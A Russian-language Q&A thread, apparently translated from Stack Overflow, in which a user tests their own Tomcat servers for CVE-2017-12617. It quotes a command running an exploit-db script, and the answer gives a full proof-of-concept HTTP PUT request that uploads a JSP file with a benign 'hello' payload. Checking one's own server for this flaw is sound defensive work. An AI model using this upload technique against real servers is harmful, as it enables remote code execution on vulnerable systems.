Работающий эксплойт для уязвимости tomcat : JSP Upload Bypass CVE-2017-12617

https://lists.apache.org/thread.html/3fd341a604c4e9eab39e7eaabbbac39c30101a022acc11dd09d7ebcb@%3Cannounce.tomcat.apache.org%3E

У меня есть сервер tomcat 6.x, 7.x и 8.x и Jboss 7.2.x AS, работающий в Windows. Я создал веб-приложение в каталоге webapps. Я изменил $TOMCAT_HOME/conf/web.xml и установил для параметра readonly значение false (по умолчанию это правда). Затем я запустил эксплойт https://www.exploit-db.com/exploits/42966/ -- это скрипт Python, который пытается загрузить полезную нагрузку с помощью HTTP PUT. Я запустил следующую командную строку:
python 42966.py -u http://localhost:9292/ExploitTest
Я получаю
1) Статус Http 404 (ресурс не найден) от tomcat 8.0.x,
2) Статус Http 400 (неверный запрос) от tomcat 6.x и
> 3) Статус HTTP 400 от tomcat 7.x.

Я ожидал, что запуск вышеуказанного эксплойта Python приведет к HTTP 201 (недавно созданный ресурс) на сервере tomcat. Что не так с эксплойтом? ИЛИ я неправильно настроил tomcat для уязвимости? Есть ли на основе curl или java или любой другой работающий эксплойт для этой уязвимости, который я могу использовать, чтобы убедиться, что мой сервер действительно уязвим или нет?


security tomcat exploit
person anjanb    schedule 27.10.2017    source источник

Ответы (1)


arrow_upward
1
arrow_downward

Ответ найден на странице https://www.peew.pw/blog/2017/10/9/new-vulnerability-same-old-tomcat-cve-2017-12615. Изначально запрос находится по адресу https://bz.apache.org/bugzilla/show_bug.cgi?id=61542.

Я использовал Burp Suite для создания запроса POC по приведенной выше ссылке.

PUT /1.jsp/ HTTP/1.1
Host: 192.168.3.103:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 26

<% out.println("hello");%>

Это делает трюк!

person anjanb    schedule 27.10.2017